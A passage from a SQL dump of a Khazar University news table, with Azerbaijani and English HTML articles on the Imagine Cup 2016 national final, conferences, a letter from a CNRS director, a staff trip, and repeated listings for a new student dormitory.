margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Səfərin\r\nsonunda Julia xanım öz təəssüratlarını bölüşmüşdü.</p>'),(1846,1138,'az','“Microsoft Imagine Cup 2016”-nın qalibləri müəyyənləşdi','Bakıda “Microsoft Imagine Cup 2016” irimiqyaslı beynəlxalq texnologiya müsabiqəsinin milli final mərhələsi keçirilib.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Bakıda “Microsoft Imagine Cup 2016” irimiqyaslı beynəlxalq\r\ntexnologiya müsabiqəsinin milli final mərhələsi keçirilib. “Sosial layihələr”,\r\n“İnnovasiya” və “Oyunlar” nominasiyaları üzrə ən yaxşıları olmuş üç komanda\r\nmüsabiqənin növbəti mərhələsinə vəsiqə qazanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Xatırladaq\r\nki, ötən “Microsoft Imagine Cup 2015” müsabiqəsində Azərbaycanı təmsil edən\r\nkomanda həmin yarışmada uğur qazanıb. Bakı Dövlət Universitetinin və Xəzər\r\nUniversitetinin tələbələri Nizami İsmayılov, Arif Mövsümzadə, Fidan və Ülviyyə\r\nRüstəmovalardan ibarət “NoObs” komandası “İnnovasiyalar” nominasiyasında ikinci\r\nyeri tutmuşdu.</p>\r\n<p>Bu\r\nhaqda daha geniş müılumatı bu linklər vasitəsilə əldə etmək olar: </p>\r\n<p><a href=\"http://azertag.az/xeber/Microsoft_Imagine_Cup_2016_musabiqesinin_milli_finalinin_qalibleri_mueyyenlesib-952155\">http://azertag.az/xeber/Microsoft_Imagine_Cup_2016_musabiqesinin_milli_finalinin_qalibleri_mueyyenlesib-952155</a>;</p>\r\n<p><a href=\"http://ictnews.az/read.php?lang=2&amp;content=41953\">http://ictnews.az/read.php?lang=2&amp;content=41953</a>;\r\n</p>\r\n<p><a href=\"http://ictnews.az/read.php?lang=1&amp;content=41950\">http://ictnews.az/read.php?lang=1&amp;content=41950</a>;\r\n</p>\r\n<p><a href=\"http://technimum.com/blog/microsoft/6054.html\">http://technimum.com/blog/microsoft/6054.html</a>;</p>\r\n<p><a href=\"http://facemark.az/index/news/microsoft-imagine-cup-2016-musabiqesinin-milli-finalinin-qalibleri-mueyyenlesib-6499\">http://facemark.az/index/news/microsoft-imagine-cup-2016-musabiqesinin-milli-finalinin-qalibleri-mueyyenlesib-6499</a>;\r\n</p>\r\n<p><a href=\"http://xeberler.az/new/details/microsoft-imagine-cup-2016-da-milli-finalin-qalibleri-aciqlandi--15584.htm\">http://xeberler.az/new/details/microsoft-imagine-cup-2016-da-milli-finalin-qalibleri-aciqlandi--15584.htm</a>;\r\n</p>\r\n<p><a href=\"http://az.trend.az/business/economy/2534446.html\">http://az.trend.az/business/economy/2534446.html</a>;</p>\r\n<p><a href=\"http://xeberler.az/new/details/microsoft-imagine-cup-da-milli-turun-qalibleri-aciqlanacaq--15563.htm\">http://xeberler.az/new/details/microsoft-imagine-cup-da-milli-turun-qalibleri-aciqlanacaq--15563.htm</a>;&nbsp;</p>'),(2588,1557,'az','Təsisçiyə Fransadan təşəkkür məktubu gəldi','Xəbər verildiyi kimi, 2016-cı il noyabrın 7-dən 9-dək Xəzər Universitetində Xəzər Universiteti ilə Fransanın Milli Elmi Tədqiqarlar Mərkəzinin (CNRS) nəzdində fəqliyyət göstərən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəbər verildiyi kimi, 2016-cı il noyabrın 7-dən 9-dək\r\nXəzər Universitetində Xəzər Universiteti ilə Fransanın Milli Elmi Tədqiqarlar Mərkəzinin\r\n(CNRS) nəzdində fəqliyyət göstərən “Labex Transfers” elmi qurumunun təşkilatçılığı\r\nilə “Qafqazda görüşlər və qarşılıqlı təsirlər. Mədəniyyətlərarası əlaqələrin\r\nuzunmüddətli tarixi” adlı beynəlxalq elmi konfrans keçirilmişdir. Konfransın\r\niştirakçılarından olan Fransanın Elmi Araşdırmalar üzrə Milli Mərkəzinin\r\ndirektoru Michel Espagne Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlıya məktub göndərmişdir. Məktubda deyilir:<strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>“Hörmətli\r\nProfessor İsaxanlı!</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Vətənə qayıtdıqdan sonra Xəzər\r\nUniversitetinin bizim konfransımızı çox yüksək səviyyədə təşkil etdiyinə üçün\r\nöz heyranlığımı ifadə etmək istəyirəm.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Biz çox qonaqpərvərliklə qarşılandıq. Mən\r\nakademik dairələrdə görüşlərə çox da adət etməmişəm.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Sizin\r\nəməkdaşlarınız və tələbələriniz bizə xüsusilə gözəl davrandılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Biz Bakıdan ən xoş təəssüratlarla\r\nayrıldıq və bizim Azərbaycan haqqında gözəl xatirələrimiz qalacaq.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Ümid edirəm ki, biz konfrans\r\nmateriallarının ingiliscə versiyasının çap edilməsinə imkan tapacağıq və əgər layihə\r\nilə razı olsanız, Səmərqənddəki konfransdan sonra redaktə edilmiş, ikinci, daha\r\ngeniş fransızca versiyasının kitab kimi çapı haqqında düşünürük.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><em>Ən xoş\r\narzularla,</em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Michel Espagne”.</strong></p>'),(2106,1295,'az','Təsisçi Elmlər Akademiyasında Beynəlxalq Konfransda','2016-cı il avqustun 31-dən sentyabrın 1-nə kimi Beynəlxalq Menecmentşünaslıq və Mühəndislik Menecmenti Cəmiyyətinin (International Society of Management Science and Engineering Management) təşkilatçılığı ilə Azərbaycan Respublikasının Milli Elmlər Akademiyasında “Beynəlxalq Menecmentşünaslıq və Mühəndislik Menecmenti” adlı konfrans keçirildi...','<p>2016-cı il avqustun 31-dən\r\nsentyabrın 1-nə kimi Beynəlxalq Menecmentşünaslıq və Mühəndislik Menecmenti Cəmiyyətinin<em>\r\n</em>(<em>International Society of Management Science and Engineering Management</em>)\r\ntəşkilatçılığı ilə Azərbaycan Respublikasının Milli Elmlər Akademiyasında “Beynəlxalq\r\nMenecmentşünaslıq və Mühəndislik Menecmenti” adlı konfrans keçirildi. </p>\r\n<p>Avqustun 31-də Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı\r\nkofransın açılış mərasimində iştirak etdi. </p>\r\n<p>Sentyabrın 1-də H.İsaxanlı Azərbaycan\r\nMilli Elmlər Akademiyasında konfransın panelində çıxış etdi, menecmentşünaslıq\r\nvə mühəndislik menecmenti və onlarla bağlı Azərbaycanda, xüsusi halda, Xəzər\r\nUniversitetində görülən işlər (tədris, araşdırma, praktik işlər, layihələr və\r\ns.) haqqında danışdı. O, həmçinin müzakirələrdə iştirak etdi.&nbsp;</p>'),(2107,1297,'en','The Brand New Khazar University Student Dormitory','The brand new student dormitory of Khazar University offers simple and cozy furnished accommodation without meals to both local and international students...','<p>The brand new\r\nstudent dormitory of Khazar University offers simple\r\nand cozy furnished accommodation without meals to both local and\r\ninternational students. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Location:</strong></p>\r\n<p>Conveniently\r\nlocated close to both the main Neftchiler Campus of Khazar University (3 min walking distance) and\r\nthe Neftchiler metro station (10 min walking distance), the dormitory offers a wide range of services. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Amenities\r\nand Services:</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRooms:\r\nshared (minimum occupancy: 2 people; maximum occupancy: 4 people). </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEach\r\nroom is equipped with a bed, a bedside drawer, wardrobe, and a table. </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nToilets\r\nand showers: shared, outside of the rooms</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKitchen:\r\na shared kitchen/buffet area with cooking and storage (refrigerator) facilities\r\n</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLaundry\r\nfacilities with washing machines (with dryers), irons, etc.</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocializing\r\nlounge room: an area with computers, TV, sofas welcomes your guests or\r\nvisitors.</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInternet:\r\nWi-Fi connection covers all dormitory area</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStorage\r\narea </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuietly\r\nlocated study room</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dormitory Safety</strong></p>\r\n<p>The dormitory\r\nis equipped with security cameras and other technology to ensure safety of our\r\nstudents and guests. The building is under constant (24/7) video surveillance\r\nand has security personnel. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Pricing</strong></p>\r\n<p>Monthly rates\r\nper person are:\r\nInternational students: $120 – $150; Local students: 150 – 200 AZN </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Our friendly and\r\nready-to-help dormitory team/staff is at your service. We are looking forward\r\nto welcoming you in our dormitory!</strong></p>'),(2108,1298,'en','The Brand New Khazar University Student Dormitory','The brand new student dormitory of Khazar University offers simple and cozy furnished accommodation without meals to both local and international students...','<p>The brand new\r\nstudent dormitory of Khazar University offers simple\r\nand cozy furnished accommodation without meals to both local and\r\ninternational students. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Location:</strong></p>\r\n<p>Conveniently\r\nlocated close to both the main Neftchiler Campus of Khazar University (3 min walking distance) and\r\nthe Neftchiler metro station (10 min walking distance), the dormitory offers a wide range of services. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Amenities\r\nand Services:</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRooms:\r\nshared (minimum occupancy: 2 people; maximum occupancy: 4 people). </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEach\r\nroom is equipped with a bed, a bedside drawer, wardrobe, and a table. </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nToilets\r\nand showers: shared, outside of the rooms</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKitchen:\r\na shared kitchen/buffet area with cooking and storage (refrigerator) facilities\r\n</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLaundry\r\nfacilities with washing machines (with dryers), irons, etc.</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocializing\r\nlounge room: an area with computers, TV, sofas welcomes your guests or\r\nvisitors.</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInternet:\r\nWi-Fi connection covers all dormitory area</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStorage\r\narea </p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuietly\r\nlocated study room</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dormitory Safety</strong></p>\r\n<p>The dormitory\r\nis equipped with security cameras and other technology to ensure safety of our\r\nstudents and guests. The building is under constant (24/7) video surveillance\r\nand has security personnel. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Pricing</strong></p>\r\n<p>Monthly rates\r\nper person are:\r\nInternational students: $120 – $150; Local students: 150 – 200 AZN </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Our friendly and\r\nready-to-help dormitory team/staff is at your service. We are looking forward\r\nto welcoming you in our dormitory!</strong></p>'),(3745,2184,'az','Əcnəbi tələbə-müəllim heyəti Qubaya səfər etdi','2017-ci il mayın 14-də Xəzər Universitetinin əməkdaşları, əcnəbi tələbə-müəllim heyəti Azərbaycanın Quba şəhərində yerləşən “Məstərgah” adlı istirahət mərkəzinə yollandılar. Səfərdə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il mayın\r\n14-də Xəzər Universitetinin əməkdaşları, əcnəbi tələbə-müəllim heyəti Azərbaycanın\r\nQuba şəhərində yerləşən “Məstərgah” adlı istirahət mərkəzinə yollandılar. Səfərdə\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı, “Dünya” məktəbinin həmtəsisçisi Nailəxanım İsayeva,\r\nİctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Beynəlxalq əlaqələr\r\nofisinin işçi heyəti və əcnəbi tələbə-müəllim heyətidə bu səfərdə iştirak etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Budəfəki səfər ümumilikdə\r\n9 ölkədən – Əfqanıstan, Kamerun, Hindistan, İran, İraq, Qambiya, Zimbabve,\r\nTürkiyə və Polşadan olan əcnəbi tələbə-müəllim heyəti və Xəzər Universitetinin\r\nişçi heyətindən ibarət idi. Səfərin məqsədi Xəzər Universitetinin əcnəbi müəllim\r\nvə tələbələrini daha yaxından tanımaq, onları Azərbaycanın gözəl təbiəti, məkanları\r\nilə tanış etmək, milli mətbəximizin ləziz təamlarından dadmaq və gözəl bir vaxt\r\nkeçirtmək idi.<strong></strong></p>'),(3407,2001,'az','Xəzər Universitetinin professoru “İqtisadi forum” verilişinin qonağı oldu','2017-ci il martın 26-da “İqtisadi forum” verilişinin qonaqlarından biri Xəzər Universitetinin professoru Fuat Rəsulov olmuşdur. İqtisadi və Siyasi Araşdırmalar Mərkəzinin...','<p>2017-ci il martın 26-da “İqtisadi forum”\r\nverilişinin qonaqlarından biri Xəzər Universitetinin professoru Fuat Rəsulov\r\nolmuşdur. İqtisadi və Siyasi Araşdırmalar Mərkəzinin rəhbəri Sabit Bağırovun müəllifi\r\nolduğu proqramın budəfəki buraxılışı “Azərbaycan sahibkarlığının\r\nproblemləri” mövzusuna həsr\r\nolunmuşdu.</p>\r\n<p>Verilişi bu link vasitəsilə izləmək olar:</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=2Fa8B5Ro1us&amp;feature=youtu.be\" target=\"_blank\">https://www.youtube.com/watch?v=2Fa8B5Ro1us&amp;feature=youtu.be</a>​.</p>'),(2110,1294,'en','ANAS Conference Covered in Media','On September 2, 2016, the xalqxeber.az news portal published a detailed article about the 10th International Conference on Management Science and Engineering Management at the Azerbaijan National Academy of Sciences. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, spoke...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nSeptember 2, 2016, the xalqxeber.az news portal published a detailed article\r\nabout the 10th International Conference on Management Science and Engineering\r\nManagement at the Azerbaijan National Academy of Sciences. Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, spoke at the conference. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nfull news article is available (in Azerbaijani) at the following link: <a href=\"http://xalqxeber.az/sosial/370894-amea-da-dareetme-elmi-ve-muhendislik-idareetmesi-movzusunda-x-beynelxalq-konfrans-kechirilib.html\">http://xalqxeber.az/sosial/370894-amea-da-dareetme-elmi-ve-muhendislik-idareetmesi-movzusunda-x-beynelxalq-konfrans-kechirilib.html</a>.&nbsp;</p>'),(2111,1294,'az','AMEA-da keçirilən konfrans mediada','2016-cı il sentyabrın 2-də xalqxeber.az xəbər saytında Milli Elmlər Akademiyasında keçirilən, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının da iştirak etdiyi “Beynəlxalq Menecmentşünaslıq və Mühəndislik Menecmenti” adlı kofrans haqqında geniş məlumat verilmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil sentyabrın 2-də <strong><em>xalqxeber.az</em></strong> xəbər saytında Milli Elmlər Akademiyasında keçirilən,\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlının da iştirak etdiyi “Beynəlxalq Menecmentşünaslıq və\r\nMühəndislik Menecmenti” adlı kofrans haqqında geniş məlumat verilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://xalqxeber.az/sosial/370894-amea-da-dareetme-elmi-ve-muhendislik-idareetmesi-movzusunda-x-beynelxalq-konfrans-kechirilib.html\">http://xalqxeber.az/sosial/370894-amea-da-dareetme-elmi-ve-muhendislik-idareetmesi-movzusunda-x-beynelxalq-konfrans-kechirilib.html</a>.&nbsp;</p>'),(2112,1300,'en','The Brand New Khazar University Student Dormitory','The brand new student dormitory of Khazar University offers simple and cozy furnished accommodation without meals to both local and international students...','<p>The brand new student dormitory of Khazar University offers simple and cozy furnished accommodation without meals to both local and international students.</p><p>&nbsp;</p><p><strong>Location:</strong></p><p>Conveniently located close to both the main Neftchiler Campus of Khazar University (3 min walking distance) and the Neftchiler metro station (10 min walking distance), the dormitory offers a wide range of services.</p><p>&nbsp;</p><p><strong>Amenities and Services:</strong></p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Rooms: shared (minimum occupancy: 2 people; maximum occupancy: 4 people).</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Each room is equipped with a bed, a bedside drawer, wardrobe, and a table.</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Toilets and showers: shared, outside of the rooms</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kitchen: a shared kitchen/buffet area with cooking and storage (refrigerator) facilities</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Laundry facilities with washing machines (with dryers), irons, etc.</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Socializing lounge room: an area with computers, TV, sofas welcomes your guests or visitors.</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Internet: Wi-Fi connection covers all dormitory area</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Storage area</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Quietly located study room</p><p>&nbsp;</p><p><strong>Dormitory Safety</strong></p><p>The dormitory is equipped with security cameras and other technology to ensure safety of our students and guests. The building is under constant (24/7) video surveillance and has security personnel.</p><p>&nbsp;</p><p><strong>Pricing</strong></p><p>Monthly rates per person are:</p><p>International students: $90–$140; Local students: 120–170&nbsp;AZN</p><p>&nbsp;</p><p><strong>Our friendly and ready-to-help dormitory team/staff is at your service. We are looking forward to welcoming you in our dormitory!</strong></p><h3><br></h3><h3>Contact:</h3><p><em><strong>Office</strong></em>:&nbsp; &nbsp;(+994&nbsp;12) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;(+994&nbsp;12) 422 28 06</p><p><strong><em>Mobile</em></strong>: (+994&nbsp;55) 223 47 37</p><p><strong><em>E-mail</em>:&nbsp;</strong><a href=\"http://mailto:dormitory@khazar.org/\">dormitory@khazar.org</a>&nbsp;</p>'),(2113,1300,'az','Xəzər Universitetinin yeni tələbə yataqxanası açıldı','Xəzər Universitetinin yeni tələbə yataqxanası həm yerli, həm də əcnəbi tələbələr üçün mebelli rahat yaşayış şəraiti təklif edir...','<p>Xəzər\r\nUniversitetinin yeni tələbə yataqxanası həm yerli, həm də əcnəbi tələbələr üçün\r\nmebelli rahat yaşayış şəraiti təklif edir.</p>\r\n<p><strong>Yer: </strong>Xəzər\r\nUniversitetinin \"Neftçilər\" kampusuna (3 dəq piyada məsafə) və \"Neftçilər\" metro\r\nstansiyasına (10 dəq piyada məsafə) yaxın ərazidə yerləşən yataqxana bir sıra\r\nxidmətlər təklif edir.<strong></strong></p>\r\n<p><strong>Avadanlıq və xidmətlər:</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOtaqlar: şərik/ortaq otaq (bir otaqda\r\nminimum 2, maksimum 4 nəfər)</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHər otaqda yataq, kiçik siyirtmə,\r\npaltar şkafı və stol var</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAyaqyolu və hamam: ümumidir,\r\notaqlardan bayırda yerləşir</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMətbəx: mətbəx və saxlama (soyuducu)\r\navadanlıqları ilə təchiz olunmuş ümumi mətbəx/bufet ərazisi</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPaltaryuyan maşın (quruducu ilə), ütü\r\nvə s. təchiz olunmuş camaşırxana</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÜmumi istirahət otağı: komputerlər,\r\ntelevizor, divan olan bu otaq sizin və qonaqlarınızın rahatlığını təmin edir</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİnternet: bütün yataqxananı əhatə\r\nedən &nbsp;WI-FI</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSaxlama otağı</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSakit ərazidə yerləşən dərs otağı</p>\r\n<p><strong>Yataqxanada\r\ntəhlükəsizlik: </strong>Yataqxana tələbə və qonaqların\r\ntəhlükəsizliyini təmin etmək məqsədilə&nbsp;\r\ntəhlükəsizlik kameraları ilə təchiz olunmuşdur. Bina 24/7 video\r\nnəzarətdədir və təhlükəsizlik işçiləri var.</p>\r\n<p><strong>Qiymətlər: </strong>Bir nəfər üçün aylıq ödəniş: əcnəbi tələbələr\r\n90-140 ABŞ dolları, yerli tələbələr 120-170&nbsp;AZN</p>\r\n<p>Gülərüz və yardımsevər yataqxana\r\npersonalı sizin xidmətinizdədir. Siz yataqxanamızda qarşılamağı səbirsizliklə\r\ngözləyirik.</p><p><br></p><h3></h3><h3>Əlaqə:</h3><p><em><strong>Ofis</strong></em>:&nbsp; &nbsp; (+994&nbsp;12) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(+994&nbsp;12) 422 28 06</p><p><strong><em>Mobil</em></strong>:&nbsp; (+994&nbsp;55) 223 47 37</p><p><strong><em>E-mail</em>:&nbsp;</strong><a href=\"http://mailto:dormitory@khazar.org/\">dormitory@khazar.org</a></p>'),(2114,1301,'en','Khazar University Department Chairs at International Conference ','On August 31 and September 1, 2016, Dr. Nuru Safarov, Head of the Department of Electronics, Telecommunications and Radio Engineering, and Associate Professor Gasham Zeynalov, Head of the Department of Petroleum Engineering, attended the 10th International Management Science and Engineering Management Conference...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On August 31 and September 1, 2016, Dr.\r\nNuru Safarov, Head of the Department of Electronics, Telecommunications and\r\nRadio Engineering, and Associate Professor Gasham Zeynalov, Head of the\r\nDepartment of Petroleum Engineering, attended the 10<sup>th</sup> International\r\nManagement Science and Engineering Management Conference in Baku. The\r\nconference took place with joint coordination by the International Society of\r\nManagement Science and Engineering Management, the Azerbaijan Republic Ministry\r\nof Education, the Ministry of Communications and High Technologies, the\r\nAzerbaijan National Academy of Sciences, Azerbaijan State University of Oil and\r\nIndustry, Azerbaijan State Economics University, Azerbaijan Technical University\r\nand Sichuan University of China. The conference included lectures on management\r\nby leading researchers from various countries.&nbsp;</p>'),(2115,1301,'az','Xəzər Universitetinin əməkdaşları beynəlxalq konfransda oldular','016-cı il avqustun 31-dən sentyabrın 1-dək Xəzər Universiteti Elektronika və telekommunikasiya departamentinin müdiri Nuru Səfərov və Neft-qaz mühəndisliyi departamentinin müdiri Qəşəm Zeynalov Bakıdakı otellərdən birində keçirilən “İdarəetmə elmi və mühəndislik idarə etməsi” mövzusunda X beynəlxalq konfransında...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il avqustun 31-dən sentyabrın 1-dək\r\nXəzər Universiteti Elektronika və telekommunikasiya departamentinin müdiri Nuru\r\nSəfərov və Neft-qaz mühəndisliyi departamentinin müdiri Qəşəm Zeynalov Bakıdakı\r\notellərdən birində keçirilən “İdarəetmə elmi və mühəndislik idarə etməsi”\r\nmövzusunda X beynəlxalq konfransında iştirak etdilər. Konfrans Elm və Mühəndislik İdarə etməsi Beynəlxalq Cəmiyyətinin,\r\nAzərbaycan Respublikası Təhsil Nazirliyinin, Rabitə və Yüksək Texnologiyalar\r\nNazirliyinin, Azərbaycan Milli Elmlər Akademiyasının, Azərbaycan Dövlət Neft və\r\nSənaye Universitetinin, Azərbaycan Dövlət İqtisad Universitetinin, Azərbaycan\r\nTexniki Universitetinin və Çinin Siçuan Universitetinin təşkilatçılığı ilə\r\nkeçirilirdi. Konfransda bir sıra ölkələrin aparıcı alimlərinin idarəetmə elmi və\r\nonun tətbiqinə həsr edilmiş elmi məruzələri dinlənildi.</p>'),(2116,1302,'az','Xəzər Universitetinin yeni tələbə yataqxanası açıldı','Xəzər Universitetinin yeni tələbə yataqxanası həm yerli, həm də əcnəbi tələbələr üçün mebelli rahat yaşayış şəraiti təklif edir...','<p>Xəzər Universitetinin\r\nyeni tələbə yataq-xanası həm yerli, həm də əcnəbi tələbələr üçün mebelli rahat\r\nyaşayış şəraiti təklif edir.</p>\r\n<p><strong>Yer:</strong></p>\r\n<p>Xəzər Universitetinin \"Neftçilər\" kampusuna (3 dəq piyada məsafə)\r\nvə \"Neftçilər\" metro stansiyasına (10 dəq piyada məsafə) yaxın ərazidə\r\nyerləşən yataqxana bir sıra xidmətlər təklif edir.</p>\r\n<p><strong>Avadanlıq və xidmətlər:</strong></p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOtaqlar: şərik/ortaq\r\notaq (bir otaqda minimum 2, maksimum 4 nəfər).</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHər otaqda\r\nyataq, kiçik siyirtmə, paltar şkafı və stol var.</p>\r\n<p style=\"\" 